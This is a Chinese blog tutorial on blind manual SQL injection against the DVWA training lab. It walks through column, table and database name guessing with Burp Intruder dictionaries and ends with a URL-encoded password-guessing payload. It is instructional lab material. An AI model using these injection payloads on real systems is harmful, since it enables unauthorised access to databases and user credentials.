Kali Linux Web渗透:DVWA SQL注入漏洞“手工注入”第3篇(39)

前两篇文章都是基于目标系统允许union,order by语句,并且可以读取infomation_schema元数据库。

 

如果遇到的是安全方面做得很好的应用,进行了权限限制,那么我们有什么办法呢?

 

猜测当前表的列名(字段名):

' and [猜测字段名] is null -- 

如果结果是:

Unknown column '[猜测字段名]' in 'where clause'

说明这个字段不存在

如果结果是没有反应,则证明该字段存在:

比如:

' and user is null -- 

 

于是我就想到了:是否可以对字段名进行爆破,我从kali中搜索下有没有相关的字典:

DVWA SQL注入漏洞

 

我随便选用一个字典,当我查看其中内容时候发现有些是#开头的

实际中,应该把这些#开头的过滤掉,因为可能会影响结果DVWA SQL注入漏洞

 

现在的column.txt应该就是我们需要的字典

 

利用Burp的Intruder:设置变量

brupsuite

 

然后,加载刚才的字典:brupsuite

 

不需要对payload编码:payload编码

 

然后就可以开始了:brupsuite

 

通过观察发现,长度为4000多的返回正常的页面

进一步排序,就可以发现具体的字段名:brupsuite

 

类似地,我们也可以猜测当前表的表名:

' and [猜测表名].user is null -- 

为什么是.user呢?因为上边已经成功猜测到了user字段名

如果这个表不存在,那么这个列也不会存在,于是可以猜测表名:

 

错误情况:brupsuite

 

正确情况:什么都不会返回

找到字典进行爆破

字典进行爆破

 

字典进行爆破

 

字典进行爆破

成功爆破出users表

 

类似的思路:可以继续加入:

' and [猜测数据库名].[猜测表名].user is null -- 

就可以猜测出当前数据库名称了

 

如何猜测当前数据库其他表的表名?

' and (select count(*) from [表名])>0 -- 

burpsuite

意外收获:库名直接出来了!

 

接下来类似上边的方法,进行爆破burpsuite

成功猜出guestbook表和users表

 

继续猜测表中的信息:

‘ or [字段名]='[猜测值]

dvwa sql注入漏洞

通过上面的步骤已经成功猜到字段名user了

猜测正确是上面的结果,说明存在user为admin的用户

猜测错误的话:什么都不会返回

 

这种无脑猜测不太有智慧,我们可以结合其他的语句,比如:

 ' or user like '%a%

这一句话猜测的是:只要数据库中有user包含字符a的,全部查出来

dvwa sql注入漏洞

成功,查到了两个用户

 

知道用户后就可以进一步猜测密码:URL编码后结果如下:

'%20or%20user%3d'admin'%20and%20password%3d'5f4dcc3b5aa765d61d8327deb882cf99

(我对猜测的密码进行了MD5加密)

头像
  • ¥ 298.0元
  • 市场价:498.0元
  • ¥ 45.0元
  • 市场价:45.0元
  • ¥ 89.0元
  • 市场价:129.0元
  • ¥ 59.0元
  • 市场价:99.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: